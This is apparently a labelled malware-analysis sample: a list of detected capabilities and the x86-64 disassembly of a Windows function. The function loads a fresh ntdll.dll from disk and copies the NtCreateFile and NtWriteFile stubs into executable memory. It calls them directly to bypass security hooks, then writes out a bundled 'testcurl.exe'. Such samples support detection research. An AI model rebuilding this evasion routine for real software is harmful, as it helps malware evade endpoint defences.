Function at 0x140001fa0
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rax, qword [0x140031040]
xor rax, rsp
mov qword [rbp + 0x120], rax
xor r15d, r15d
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x30], r15
lea rcx, str.c:windows_system32_ntdll.dll
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0x80000000
mov dword [rbp - 0x44], r15d
lea r8d, [r15 + 1]
mov dword [rbp - 0x48], r15d
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
xor edx, edx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea r9, [rbp - 0x48]
mov qword [rsp + 0x20], r15
mov rdx, rax
mov qword [rsp + 0x60], rax
mov r8d, ebx
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
movsxd rdx, dword [rdi + 0x3c]
mov r8d, r15d
add rdx, rdi
movzx ecx, word [rdx + 0x14]
lea rdi, [rdx + 0x18]
movzx r9d, word [rdx + 6]
add rdi, rcx
mov qword [rsp + 0x68], rdi
mov r13, rdi
test r9d, r9d
je 0x1400020ae
lea r10, [0x14002c348]
nop dword [rax + rax]
mov rax, r15
movzx ecx, byte [rdi + rax]
inc rax
cmp cl, byte [r10 + rax - 1]
jne 0x1400024de
cmp rax, 7
jne 0x140002093
mov r13, rdi
mov ecx, dword [rdx + 0x88]
lea r9, [rbp - 0x44]
mov eax, dword [r13 + 0xc]
xorps xmm0, xmm0
mov r12d, dword [r13 + 0x14]
sub rcx, rax
mov rdi, qword [rsp + 0x60]
movups xmmword [rbp - 0x20], xmm0
lea rax, [rdi + rcx]
add r12, rax
lea rcx, [rbp - 0x20]
xor eax, eax
mov dword [rbp - 0x10], eax
mov word [rbp - 0xc], ax
mov byte [rbp - 0xa], al
lea edx, [rax + 0x17]
lea r8d, [rax + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r14d, dword [r13 + 0xc]
mov esi, dword [r13 + 0x14]
mov edx, dword [r12 + 0x1c]
mov ebx, dword [r12 + 0x20]
sub rdx, r14
sub rbx, r14
add rdx, rsi
add rbx, rsi
add rdx, rdi
add rbx, rdi
cmp dword [r12 + 0x18], r15d
jbe 0x1400021a7
sub rdx, rbx
mov qword [rsp + 0x78], rdx
nop word [rax + rax]
mov edx, dword [rbx + rdx + 4]
mov ecx, dword [rbx]
sub rcx, r14
add rcx, rdi
mov rdi, qword [rsp + 0x68]
add rcx, rsi
mov eax, dword [rdi + 0xc]
mov edi, dword [rdi + 0x14]
sub rdx, rax
mov rax, qword [rsp + 0x60]
add rax, rdx
lea rdx, str.NtCreateFile
add rdi, rax
call fcn.1400206b0
test eax, eax
jne 0x14000218c
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x20], xmm0
mov eax, dword [rdi + 0x10]
mov dword [rbp - 0x10], eax
movzx eax, word [rdi + 0x14]
mov word [rbp - 0xc], ax
movzx eax, byte [rdi + 0x16]
mov byte [rbp - 0xa], al
mov r14d, dword [r13 + 0xc]
mov esi, dword [r13 + 0x14]
mov eax, dword [r12 + 0x18]
inc r15
mov rdi, qword [rsp + 0x60]
add rbx, 4
mov rdx, qword [rsp + 0x78]
cmp r15, rax
jb 0x140002130
xor eax, eax
lea r9, [rbp - 0x44]
xorps xmm0, xmm0
mov dword [rbp + 8], eax
lea rcx, [rbp - 8]
mov word [rbp + 0xc], ax
movups xmmword [rbp - 8], xmm0
lea edx, [rax + 0x17]
mov byte [rbp + 0xe], al
lea r8d, [rax + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [r13 + 0xc]
xor r15d, r15d
mov ecx, dword [r13 + 0x14]
mov esi, r15d
mov ebx, dword [r12 + 0x20]
mov r14d, dword [r12 + 0x1c]
sub rbx, rax
sub r14, rax
add rbx, rcx
add r14, rcx
add rbx, rdi
add r14, rdi
cmp dword [r12 + 0x18], esi
jbe 0x140002284
sub r14, rbx
nop word [rax + rax]
mov eax, dword [r13 + 0xc]
mov edx, dword [rbx]
mov ecx, dword [r13 + 0x14]
sub rdx, rax
lea rax, [rdi + rdx]
mov rdi, qword [rsp + 0x68]
mov edx, dword [rbx + r14 + 4]
add rcx, rax
mov eax, dword [rdi + 0xc]
mov edi, dword [rdi + 0x14]
sub rdx, rax
mov rax, qword [rsp + 0x60]
add rax, rdx
lea rdx, str.NtWriteFile
add rdi, rax
call fcn.1400206b0
test eax, eax
jne 0x14000226e
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 8], xmm0
mov eax, dword [rdi + 0x10]
mov dword [rbp + 8], eax
movzx eax, word [rdi + 0x14]
mov word [rbp + 0xc], ax
movzx eax, byte [rdi + 0x16]
mov byte [rbp + 0xe], al
mov eax, dword [r12 + 0x18]
inc rsi
mov rdi, qword [rsp + 0x60]
add rbx, 4
cmp rsi, rax
jb 0x140002210
mov rdi, qword [rsp + 0x70]
mov rbx, 0xffffffffffffffff
mov qword [rbp - 0x80], r15
mov rcx, rbx
mov rax, qword [rdi]
nop word [rax + rax]
inc rcx
cmp word [rax + rcx*2], r15w
jne 0x1400022a0
add rcx, 4
mov eax, 2
mul rcx
cmovo rax, rbx
mov rcx, rax
call fcn.140005d34
mov rdx, qword [rdi]
mov r8, rax
mov rcx, rbx
nop dword [rax + rax]
inc rcx
cmp word [rdx + rcx*2], r15w
jne 0x1400022d0
add rcx, 4
je 0x1400022ef
movzx eax, r15w
mov rdi, r8
rep stosw word [rdi], ax
mov rdi, qword [rsp + 0x70]
movsd xmm0, qword [str.___]
lea rcx, [r8 - 2]
movsd qword [r8], xmm0
movzx eax, word [0x14002c378]
mov word [r8 + 8], ax
nop dword [rax]
cmp word [rcx + 2], r15w
lea rcx, [rcx + 2]
jne 0x140002310
mov rdi, qword [rdi]
xor edx, edx
movzx eax, word [rdi + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x140002320
mov rdx, r8
lea rcx, [rbp - 0x30]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov dword [rsp + 0x50], r15d
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], r15
lea r9, [rbp - 0x40]
mov dword [rsp + 0x40], 0x20
lea r8, [rbp - 0x78]
mov dword [rsp + 0x38], 5
lea rcx, [rbp - 0x80]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 2
mov qword [rbp - 0x68], rax
mov edx, 0x120116
mov dword [rsp + 0x28], 0x80
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], r15
movups xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x78], 0x30
mov qword [rbp - 0x70], r15
mov dword [rbp - 0x60], 0x40
movdqu xmmword [rbp - 0x58], xmm0
call rax
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rbp + 0x10]
mov rax, rbx
inc rax
cmp byte [rcx + rax], r15b
jne 0x1400023c3
mov edi, 0x103
lea rdx, str..._
mov r8d, edi
lea rcx, [rbp + 0x10]
sub r8, rax
call fcn.14000c890
lea rax, [rbp + 0x10]
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], r15b
jne 0x1400023f0
sub rdi, rbx
lea rdx, str.testcurl.exe
mov r8, rdi
lea rcx, [rbp + 0x10]
call fcn.14000c890
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp + 0x10]
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov edi, eax
call fcn.140005d34
lea r9, [rbp - 0x48]
mov qword [rsp + 0x20], r15
mov r8d, edi
mov rdx, rax
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [rbp - 0x48]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], r15
lea rdi, [rbp - 8]
mov qword [rsp + 0x38], r15
xor r9d, r9d
mov dword [rsp + 0x30], ecx
xor r8d, r8d
mov rcx, qword [rbp - 0x80]
xor edx, edx
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
call rdi
mov rcx, rsi
call fcn.140005cf0
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.140005cd0
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
add rdi, 0x28
inc r8d
cmp r8d, r9d
jl 0x140002090
jmp 0x1400020ae